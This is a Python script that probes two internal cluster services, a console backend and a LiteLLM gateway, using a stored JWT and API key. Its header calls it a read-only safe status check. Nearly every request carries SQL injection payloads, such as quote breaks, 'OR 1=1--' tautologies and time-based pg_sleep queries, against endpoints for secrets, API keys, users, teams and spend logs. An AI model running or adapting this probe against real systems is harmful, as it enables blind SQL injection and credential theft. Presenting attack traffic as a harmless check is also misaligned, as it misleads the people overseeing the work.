#!/usr/bin/env python3
# Read-only SAFE probe: only records HTTP status + timing, for OUR OWN tenant endpoints
# (spaceId=476 / agentId=604) and OUR OWN litellm gateway. No response bodies, no file reads,
# no secrets in URL (litellm key stays in Authorization header).
import time, urllib.request, urllib.error, urllib.parse
OUT = open("/opt/data/workspace/i26107/litellm_status.out", "w")
def log(s):
    OUT.write(s + "\n"); OUT.flush()
def probe(tag, url, headers=None, timeout=15):
    h = {"User-Agent": "statuscheck/1.0", "Accept": "*/*"}
    if headers: h.update(headers)
    r = urllib.request.Request(url, headers=h, method="GET")
    t0 = time.time()
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            sc = resp.status
    except urllib.error.HTTPError as e:
        sc = e.code
    except Exception as e:
        sc = "ERR"
    log("%-26s status=%-4s time=%.2fs" % (tag, sc, time.time() - t0))

jwt = open("/opt/data/workspace/i26107/jwt.txt").read().strip()
lk = open("/opt/data/workspace/i26107/lk.txt").read().strip()
CB = "http://console-backend.agentek.svc.cluster.local:3000"
LG = "http://litellm-gateway.agentek.svc.cluster.local:4000"
q = urllib.parse.quote
HJ = {"Authorization": "Bearer " + jwt}
HL = {"Authorization": "Bearer " + lk}

log("== console-backend (our tenant 476/604) validation/timing ==")
for tag, p in [
    ("base", "/api/agents?spaceId=476"),
    ("quote", "/api/agents?spaceId=476%27"),
    ("bool_true", "/api/agents?spaceId=476%20AND%201=1"),
    ("bool_false", "/api/agents?spaceId=476%20AND%201=2"),
    ("time_sleep", "/api/agents?spaceId=476;SELECT%20pg_sleep(2)"),
    ("agentid_quote", "/api/secrets?scope=agent&spaceId=476&agentId=604%27"),
]:
    probe("cb:" + tag, CB + p, HJ)

log("== litellm gateway (our key, header auth) validation/timing ==")
for tag, p in [
    ("key/list", "/key/list"),
    ("keyinfo_quote", "/key/info?key=" + q("'")),
    ("keyinfo_bool", "/key/info?key=" + q("' OR '1'='1")),
    ("keyinfo_sleep", "/key/info?key=" + q("';SELECT pg_sleep(2)--")),
    ("modelinfo", "/model/info"),
    ("modelinfo_quote", "/model/info?model=" + q("'")),
    ("modelinfo_bool", "/model/info?model=" + q("' OR 1=1--")),
    ("userinfo_bool", "/user/info?user_id=" + q("' OR 1=1--")),
    ("teaminfo_bool", "/team/info?team_id=" + q("' OR 1=1--")),
    ("spendlogs_bool", "/spend/logs?api_key=" + q("' OR 1=1--")),
]:
    probe("ll:" + tag, LG + p, HL)

log("DONE")
OUT.close()
